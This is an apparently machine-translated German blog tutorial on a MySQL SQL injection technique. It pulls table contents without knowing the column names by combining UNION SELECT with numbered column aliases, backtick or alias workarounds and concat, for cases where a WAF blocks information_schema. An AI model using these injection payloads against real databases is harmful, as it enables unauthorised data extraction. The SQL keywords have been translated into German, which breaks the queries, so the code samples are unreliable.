Detaillierte Erklärung der MySQL-Injektion ohne Kenntnis des Spaltennamens

Detaillierte Erklärung der MySQL-Injektion ohne Kenntnis des Spaltennamens

Vorwort

Ich habe in letzter Zeit das Gefühl, dass mein Kopf leer ist, da ich Löcher gegraben habe, nur um Platz für sie zu schaffen. Ich denke, es wäre besser, zur Technologie selbst zurückzukehren und mich wohler zu fühlen. Okay, reden wir nicht zu viel, schauen wir uns die ausführliche Einführung an.

Prämisse

Die folgende Situation gilt für MySQL-Versionen < 5 oder >= 5 [Informationsschemabibliothek vorhanden], und der Bibliotheksname und der Tabellenname wurden abgerufen

① Wenn nur der Tabellenname, aber nicht der Spaltenname oder nur der Spaltenname ohne gültigen Inhalt (z. B. ID) abgerufen werden kann

② Wenn Sie die Struktur anderer Tabellen, z. B. Tabellennamen und Spaltennamen, über die Tabellen in der Bibliothek information_schema abrufen möchten, diese Bibliothek jedoch von WAF herausgefiltert wird

Tatsächlich finde ich persönlich, dass diese Methode für Versionen unter 5 praktischer ist, da ich normalerweise aufgebe, wenn ich auf WAF stoße (ich bin wirklich ein schlechter Programmierer 23333).

lösen

Normale Abfrage:

Das Folgende ist eine normale Abfrage des Benutzertabelleninhalts in der Testdatenbank

wähle * vom Benutzer; 

UNION-Abfrage:

Wählen Sie 1,2,3,4, Union, wählen Sie * vom Benutzer; 

Abfrage der entsprechenden Zahlenspalte:

Sie können Zahlen verwenden, um den Spalten für die Abfrage zu entsprechen. So entspricht beispielsweise 2 der Spalte „Name“ in der Tabelle.

Wählen Sie `2` aus (Wählen Sie 1,2,3,4, Union, wählen Sie * vom Benutzer)a; 

Alias-Ersatzabfrage:

Wenn das Backtick ` nicht verwendet werden kann, kann stattdessen ein Alias ​​verwendet werden, z. B. indem der Alias ​​von 2 auf b gesetzt wird.

wähle b aus (wähle 1,2 als b,3,4, Union-Auswahl * vom Benutzer)a; 

Abfrage zum Zusammenführen mehrerer Spalten:

Wie oben: Wenn Backticks hier nicht verwendet werden können, können Sie stattdessen auch Aliase verwenden

Wählen Sie concat(`2`,0x3a,`3`) aus (Wählen Sie 1,2,3,4 Union Select * vom Benutzer)a Limit 1,1; 

Nur zum Übersetzen und Organisieren von Ideen

Originallink: https://blog.redforce.io/sqli-extracting-data-without-knowing-columns-names/

Zusammenfassen

Das Obige ist der vollständige Inhalt dieses Artikels. Ich hoffe, dass der Inhalt dieses Artikels einen gewissen Lernwert für Ihr Studium oder Ihre Arbeit hat. Vielen Dank für Ihre Unterstützung von 123WORDPRESS.COM.

Das könnte Sie auch interessieren:
  • MySQL- und SQL-Injection und Präventionsmethoden
  • SQL-Injection mit MySQL-Injection-Analyse
  • Die MySQL-Datenbank verwendet die Concat-Funktion, um SQL-Injection-Abfragen auszuführen
  • MySQL5-Injection-Sicherheitslücke
  • PHP-Programm zur Verhinderung von MySQL-Injection oder HTML-Formularmissbrauch
  • Zusammenfassung der MySQL-Injection-Bypass-Filtertechniken
  • Detaillierte Erklärung der Funktionen outfile, dumpfile und load_file bei der MySQL-Injektion
  • Fehlereinfügungsanalyse der Funktion „updatexml()“ von MySQL
  • Zusammenfassung der Methoden zum Verhindern von SQL-Injection in Node-MySQL
  • 7 wichtige Punkte zur Verhinderung von PHP MYSQL-Injection-Angriffen

<<:  Tomcat-Domänennamenzugriff mit mehreren Ports und Konfiguration zum Aktivieren der GZIP-Komprimierungsmethode

>>:  Schritte zum Erstellen eines WEBSERVERS mit NODE.JS

Artikel empfehlen

So starten Sie mehrere MySQL-Datenbanken auf einem Linux-Host

Lassen Sie uns heute darüber sprechen, wie Sie vi...

Vue+Bootstrap realisiert ein einfaches Studentenverwaltungssystem

Ich habe Vue und Bootstrap verwendet, um ein rela...

So verweisen Sie direkt auf Vue und Element-UI in HTML

Der Code sieht folgendermaßen aus: <!DOCTYPE h...

Beispielcode zum Konvertieren des Mysql-Abfrageergebnissatzes in JSON-Daten

Mysql konvertiert Abfrageergebnissatz in JSON-Dat...

Lösung für den Fehler bei der Verbindung mit MySQL in Docker

Szenario: Nach der Installation der neuesten Vers...

So verwenden Sie Makros in JavaScript

In Sprachen werden häufig Makros zur Implementier...

Was ist ein MySQL-Index? Fragen Sie, wenn Sie es nicht verstehen

Inhaltsverzeichnis Überblick Vom Binärbaum zum B+...

Zwei Ideen zur Implementierung der horizontalen Datenbanksegmentierung

Einführung Aufgrund der zunehmenden Popularität v...

Eine kurze Diskussion über Browserkompatibilitätsprobleme in JavaScript

Die Browserkompatibilität ist der wichtigste Teil...

...

Beispiele für korrekte Beurteilungsmethoden für Datentypen in JS

Inhaltsverzeichnis Vorwort Kann typeof den Typ ko...